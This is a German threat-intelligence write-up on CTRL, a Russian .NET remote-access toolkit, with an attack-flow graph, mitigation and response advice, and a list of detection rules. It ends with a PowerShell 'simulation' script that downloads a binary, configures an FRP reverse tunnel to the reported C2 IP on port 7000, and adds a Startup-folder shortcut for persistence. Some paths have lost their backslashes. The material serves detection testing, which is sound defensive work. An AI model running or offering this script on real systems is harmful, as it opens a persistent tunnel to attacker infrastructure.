Unter CTRL: Analyse eines bisher undokumentierten russischen .Net-Zugriffs-Frameworks
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Censys ARC hat ein bisher undokumentiertes russisches Remote-Zugriffs-Toolkit namens CTRL entdeckt, das Credential-Phishing, Keylogging, RDP-Entführung und auf FRP basierende Reverse-Tunnel kombiniert. Das Framework wird über eine bösartige LNK-Datei geliefert und versteckt seine Binärdateien innerhalb der Windows-Registrierung, wo sie später direkt in den Speicher geladen werden. Seine Netzwerkinfrastruktur umfasst die Domain hui228.ru und zwei IP-Adressen, die einen FRP-Server auf Port 7000 betreiben. Das Toolkit zielt auf Windows-Hosts ab und erhält Persistenz durch geplante Aufgaben, versteckte lokale Benutzerkonten und registrierungsbasierte Änderungen.
Untersuchung
Forscher identifizierten den LNK-Dropper, rekonstruierten den geschichteten PowerShell-Loader und verfolgten gestapelte .NET-Binärdateien, die als REG_BINARY Werte unter Explorer-Registrierungsschlüsseln gespeichert sind. Der Stager lädt dann nachfolgende Payloads herunter, erstellt einen verdeckten ctrl.exe-Loader, konfiguriert FRP-Tunnel und setzt den RDP Wrapper ein, um unbeschränkte Remote-Sitzungen zu ermöglichen. Keines der beobachteten Artefakte erschien in öffentlichen Bedrohungsanalyse-Feeds, was darauf hindeutet, dass das Framework eine private und zweckbestimmte Zugriffsplattform ist.
Minderung
Verteidiger sollten auf ungewöhnliche Registrierungsänderungen unter Explorer-Schlüsseln achten, die Erstellung von geplanten Aufgaben mit den Namen DriverSvcTask, NetTcpSvc, TermSvcHost oder WindowsHealthMonitor und versteckte lokale Konten, die den Administratoren- oder Remotedesktop-Benutzergruppen hinzugefügt werden. Ausgehende Verbindungen zu den identifizierten IP-Adressen und FRP-Port 7000 sollten blockiert werden, und FRP-Protokollverkehr auf unerwarteten Systemen sollte gekennzeichnet werden. Nicht autorisierte Installationen von FRP oder RDP Wrapper sollten entfernt und die Ausführung von PowerShell streng kontrolliert werden.
Reaktion
Wenn CTRL-bezogene Aktivitäten gefunden werden, isolieren Sie den Endpunkt, ermitteln Sie die LNK-Datei und den relevanten Registrierungsknoten zur forensischen Analyse, stoppen Sie den ctrl.exe-Prozess und entfernen Sie die zugehörigen geplanten Aufgaben. Neu erstellte lokale Konten sollten deaktiviert, unautorisierte RDP-Berechtigungen widerrufen und exponierte Anmeldeinformationen rotiert werden. Die Teams sollten dann die erweiterte Umgebung nach weiteren FRP-Servern durchsuchen und Erkennungsregeln mit den beobachteten IOCs aktualisieren.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Aktion</b> – <b>T1204.002 Benutzerausführung</b>: Opfer klickt auf bösartige .lnk-Verknüpfung"] class action_user_exec action action_lnk_smuggle["<b>Aktion</b> – <b>T1027.012 LNK-Symbolverschleierung</b>: Verknüpfung tarnt sich mit Ordnersymbol"] class action_lnk_smuggle action action_powershell["<b>Aktion</b> – <b>T1059.001 PowerShell</b>: Versteckter PowerShell-Befehl dekodiert Payload"] class action_powershell action action_deobfuscate["<b>Aktion</b> – <b>T1140 Deobfuscate/Decode Files</b>: Mehrere Base64- und Deflate-Stufen"] class action_deobfuscate action action_obfuscation["<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: Zufällige Variablennamen und Laufzeitzeichenkonstruktion"] class action_obfuscation action action_shortcut_persistence["<b>Aktion</b> – <b>T1547.009 Verknüpfungsänderung</b>: LNK dient als Persistenzmechanismus"] class action_shortcut_persistence action action_scheduled_tasks["<b>Aktion</b> – <b>T1053 Geplante Aufgabe/Job</b>: Vier Aufgaben erstellt, um Binärdateien beim Start auszuführen"] class action_scheduled_tasks action action_create_account["<b>Aktion</b> – <b>T1136.001 Kontoerstellung</b>: Verstecktes lokales Administratorkonto hinzugefügt"] class action_create_account action action_uac_bypass["<b>Aktion</b> – <b>T1548 Missbrauch des Erhöhungskontrollmechanismus</b>: Fodhelper.exe Registry-Hijack umgeht UAC"] class action_uac_bypass action action_proxy_execution["<b>Aktion</b> – <b>T1218 Proxy-Ausführung des Systembinaries</b>: wlrmdr.exe verwendet, um Payload mit erhöhten Rechten auszuführen"] class action_proxy_execution action action_priv_esc["<b>Aktion</b> – <b>T1068 Ausnutzung für Privilegienstufung</b>: patcht termsrv.dll und installiert RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Aktion</b> – <b>T1036 Maskierung</b>: Dateien in versteckten Verzeichnissen mit legitim aussehenden Namen abgelegt"] class action_masquerade action action_hide_artifacts["<b>Aktion</b> – <b>T1564 Artifakte verbergen</b>: Defender-Ausschlüsse, Zeitstempelfälschung, Registry-Imitation"] class action_hide_artifacts action action_keylogging["<b>Aktion</b> – <b>T1056.001 Eingabenerfassung – Keylogging</b>: Niedrigstufiger Tastatur-Hook schreibt in C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Aktion</b> – Anmeldedatenernte: Benutzerdefinierte WPF Windows Hello-Benutzeroberfläche erfasst PINs"] class action_cred_harvest action action_rdp["<b>Aktion</b> – <b>T1021.001 Ferndienste – RDP</b>: RDP Wrapper ermöglicht Remote-Desktop-Zugriff"] class action_rdp action action_rdp_hijack["<b>Aktion</b> – <b>T1563.002 Übernahme einer Remote-Dienstsitzung</b>: Angreifer spiegelt aktive Sitzungen über mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Aktion</b> – <b>T1090.002 Proxy – Externer Proxy</b>: FRP-Tunnel zu hui228.ru:7000 fungiert als externer Proxy"] class action_frp_proxy action action_encrypted_channel["<b>Aktion</b> – <b>T1573 Verschlüsselter Kanal</b>: FRP-Verkehr verschlüsselt, AES-256-CBC-Payload-Entschlüsselung"] class action_encrypted_channel action action_valid_accounts["<b>Aktion</b> – <b>T1078.003 Gültige Konten – Lokale Konten</b>: Verstecktes Admin-Konto verwendet für Persistenz und laterale Bewegung"] class action_valid_accounts action action_lateral_movement["<b>Aktion</b> – Seitliche Bewegung: Verwendung gültiger lokaler Admin-Konten zur Verbreitung im Netzwerk"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Tool</b> – Bewaffnete .lnk-Verknüpfung<br/><b>Datei</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Tool</b> – PowerShell<br/><b>Zweck</b>: Ausführen eines versteckten Skripts, das .NET-Stager dekodiert und dekomprimiert"] class tool_powershell tool process_stager["<b>Prozess</b> – .NET-Stager als REG_BINARY unter HKCU…Explorer gespeichert"] class process_stager process tool_fodhelper["<b>Tool</b> – fodhelper.exe (Windows-Dienstprogramm)"] class tool_fodhelper tool tool_wlrmdr["<b>Tool</b> – wlrmdr.exe (signierte Microsoft-Binärdatei)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Tool</b> – RDP Wrapper<br/><b>Funktion</b>: Ermöglicht unbegrenzte gleichzeitige RDP-Sitzungen"] class tool_rdpwrapper tool tool_frp["<b>Tool</b> – FRP-Client<br/><b>Funktion</b>: Reverse-Tunnel zu externem Server"] class tool_frp tool keylog_file["<b>Datei</b> – C:Tempkeylog.txt<br/><b>Inhalt</b>: Erfasste Tastenanschläge"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|startet| tool_lnk tool_lnk –>|löst aus| action_lnk_smuggle action_lnk_smuggle –>|führt zu| action_powershell action_powershell –>|führt aus| tool_powershell tool_powershell –>|speichert Payload in| process_stager process_stager –>|dekodiert von| action_deobfuscate action_deobfuscate –>|ermöglicht| action_obfuscation action_obfuscation –>|unterstützt| action_shortcut_persistence action_shortcut_persistence –>|erstellt| action_scheduled_tasks action_scheduled_tasks –>|erstellt| action_create_account action_create_account –>|ermöglicht| action_uac_bypass action_uac_bypass –>|verwendet| tool_fodhelper action_uac_bypass –>|verwendet| tool_wlrmdr action_uac_bypass –>|ermöglicht| action_proxy_execution action_proxy_execution –>|erleichtert| action_priv_esc action_priv_esc –>|installiert| tool_rdpwrapper action_priv_esc –>|ermöglicht| action_masquerade action_masquerade –>|führt zu| action_hide_artifacts action_hide_artifacts –>|fügt hinzu| action_keylogging action_keylogging –>|schreibt in| keylog_file action_keylogging –>|unterstützt| action_cred_harvest action_cred_harvest –>|ermöglicht| action_rdp action_rdp –>|verwendet für| action_rdp_hijack action_rdp_hijack –>|richtet ein| action_frp_proxy action_frp_proxy –>|bietet| action_encrypted_channel action_encrypted_channel –>|erlaubt| action_valid_accounts action_valid_accounts –>|verwendet für| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
Angriffsfluss
Erkennungen
Mögliche Schattenbildung von Remotedesktopdiensten (via registry_event)
Ansicht
Verdächtige PowerShell-Zeichenfolgen (via powershell)
Ansicht
Verdächtige PowerShell-Zeichenfolgen (via cmdline)
Ansicht
Verdächtige Änderungen der Windows Defender-Einstellungen (via powershell)
Ansicht
Privilegienstufung (UAC-Umgehung) in FodHelper (via registry_event)
Ansicht
IOCs (HashSha256) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks
Ansicht
IOCs (DestinationIP) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks
Ansicht
IOCs (Emails) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks
Ansicht
IOCs (SourceIP) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks
Ansicht
Erkennen von bösartigen FRP-Reverse-Tunneling-Verbindungen [Windows-Netzwerkverbindung]
Ansicht
Erkennen der CTRL-Toolkit-Persistenz über Explorer-Registrierungsschlüssel [Windows-Registrierungsereignis]
Ansicht
Erkennen von verschleierter PowerShell-Ausführung mit kodierter Payload [Windows PowerShell]
Ansicht
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Vorabflugcheck muss bestanden sein.
-
Angriffserzählung & Befehle:
Ein Angreifer hat bereits den FRP-Client (frp.exe) über einen bösartigen Phishing-Anhang auf den kompromittierten Windows-Host fallen gelassen. Um die Persistenz aufrechtzuerhalten, registriert der Angreifer eine Verknüpfung im Startordner, die FRP mit einer Konfiguration zum C2-Server startet194.33.61.36:7000. Wenn sich der Benutzer anmeldet, startet die Verknüpfung FRP, das einen umgekehrten TCP-Tunnel zurück zum Angreifer öffnet, wodurch der Angreifer jeden lokalen Dienst (z.B. SMB) durch den Tunnel weiterleiten kann. Die von FRP generierte Netzwerkverbindung stimmt mit den Kriterien der Regel übereindst_ipanddst_portund löst einen Alarm aus. -
Regressionstest-Skript: (PowerShell – eigenständig)
# ============================================================================= # FRP Reverse-Tunnel-Simulation – löst Sigma-Regel fcb13968-1490-44c2-9f9f-c1ad2b668ce6 aus # ============================================================================= # Variablen $frpUrl = "https://example.com/frp.exe" # durch eine erreichbare Test-Binärdatei ersetzen $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. FRP-Binärdatei herunterladen (simuliert – verwenden Sie eine beliebige kleine ausführbare Datei für den Test) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. Minimale FRP-Client-Konfiguration erstellen @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. Eine Verknüpfung im Startordner erstellen, um FRP beim Starten auszuführen $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. FRP jetzt starten (damit wir die Telemetrie sofort sehen können) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "FRP-Reverse-Tunnel gestartet. Überprüfen Sie SIEM auf Erkennung." -
Bereinigungskommandos:
# FRP-Prozess stoppen Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # Dateien und Verknüpfung entfernen Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "Bereinigung abgeschlossen."